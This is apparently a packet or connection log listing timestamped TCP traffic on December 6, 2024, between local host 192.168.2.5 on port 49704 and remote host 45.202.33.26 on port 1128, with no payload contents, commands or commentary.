Dec 6, 2024 14:19:46.700289965 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.701023102 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.701153040 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.701203108 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.701986074 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.702090979 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.702143908 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.702963114 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.703071117 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.703116894 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.703975916 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.704090118 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.704184055 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.704950094 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.705045938 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.705215931 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.705945969 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.706080914 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.706132889 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.706953049 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.707062960 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.707112074 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.707947969 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.708054066 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.708194017 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.708904982 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.708981037 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.709022045 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.709903955 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.710002899 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.710139990 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.710890055 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.711020947 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.711087942 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.711884975 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.712055922 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.712100029 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.712855101 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.712971926 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.713017941 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.713857889 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.713979006 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.714061975 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.714828968 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.714967966 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.715033054 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.715828896 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.715945959 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.715998888 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.716816902 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.716933012 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.716985941 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.717809916 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.717993975 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.718043089 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.718789101 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.718909979 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.718955040 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.719801903 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.719938040 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.719978094 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.720798969 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.720917940 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.721016884 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.721761942 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.721863985 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.722176075 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.722764015 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.722896099 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.722934961 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.723740101 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.723834991 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.723876953 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.724736929 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.724843025 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.724885941 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.725717068 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.725811958 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.725857973 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.726772070 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.726836920 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.726877928 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.727696896 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.727808952 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.728071928 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.728697062 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.728939056 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.728981018 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.729671955 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.729873896 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.729912996 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.730665922 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.730807066 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.730854988 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.731653929 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.731781960 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.731868029 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.732635975 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.732747078 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.732798100 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.733644009 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.733753920 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.733802080 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.734652996 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.734750986 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.734797001 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.735645056 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.735773087 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.735888004 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.736601114 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.736706018 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.736747980 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.737621069 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.737740993 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.737785101 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.738595009 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.738711119 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.738856077 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.739624977 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.739845037 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.739890099 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.740569115 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.740664959 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.740765095 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.762749910 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.762912035 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.762979031 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.763192892 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.763259888 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.763318062 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.764226913 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.764281034 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.764333963 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.765137911 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.868480921 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.884350061 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.884414911 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.884623051 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.884628057 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.884710073 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.884955883 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.885637045 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.885678053 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.885734081 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.886621952 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.886678934 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.886765003 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.887321949 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.887417078 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.887473106 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.888315916 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.888421059 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.888468981 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.889297009 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.889380932 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.889436007 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.890317917 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.890461922 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.890522957 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.891273975 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.891386032 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.891434908 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.892283916 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.892396927 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.892519951 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.893256903 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.893358946 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.893405914 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.894248009 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.894364119 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.894424915 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.895224094 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.895397902 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.895457983 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.896215916 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.896305084 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.896365881 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.897285938 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.897423029 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.897531033 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.898236036 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.898359060 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.898399115 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.899432898 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.899621010 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.899694920 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.900199890 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.900316954 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.900368929 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.901190996 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.901237011 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.901514053 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.902194023 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.902293921 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.902338982 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.903143883 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.903253078 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.903295994 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.904145002 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.904283047 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.904561996 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.905144930 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.905205011 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.905256987 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.906255960 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.906348944 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.906402111 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.907131910 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.907231092 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.907510042 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.908119917 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.908246040 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.908308983 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.909094095 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.909213066 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.909356117 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.910077095 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.910244942 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.910290956 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.911076069 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.911200047 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.911251068 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.912053108 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.912195921 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.912487030 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.913055897 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.913161039 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.913268089 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.914063931 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.914179087 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.914252043 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.915045023 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.915143013 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.915193081 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.916021109 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.916136026 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.916529894 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.917058945 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.917121887 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.917216063 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.918016911 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.918118954 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.918160915 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.918973923 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.919075966 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.919337034 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.919982910 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.920089006 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.920141935 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.920972109 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.921061039 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.921123981 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.921968937 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.922087908 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.922384024 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.922960997 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.923074961 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.923131943 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.923969984 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.924077988 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.924123049 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.924942017 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.925060987 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.926012039 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.926059008 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.926079035 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.926450014 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.926920891 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.927043915 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.927088022 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.927917004 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.928090096 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.928138971 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.928905010 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.929004908 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.929301023 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.929922104 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.930058002 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.930895090 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.930959940 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.930979013 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.931030989 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.931962967 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.932086945 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.932157040 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.932833910 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.954677105 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.954722881 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.954778910 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.955111027 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.955147982 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.955159903 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.956134081 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.956186056 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.956267118 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.957072973 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.957120895 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.076370955 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.076471090 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.076524973 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.076883078 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.077003956 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.077048063 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.077857971 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.078000069 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.078046083 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.078826904 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.078948021 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.078984022 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.079823971 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.079921007 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.079967022 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.080988884 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.081044912 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.081090927 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.081816912 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.081906080 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.081954956 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.082814932 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.082964897 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.083077908 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.083800077 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.083894968 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.083956003 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.084784985 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.084883928 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.085099936 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.085781097 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.085947037 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.086287022 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.086754084 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.086846113 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.086924076 CET	49704	1128	192.168.2.5	45.202.33.26
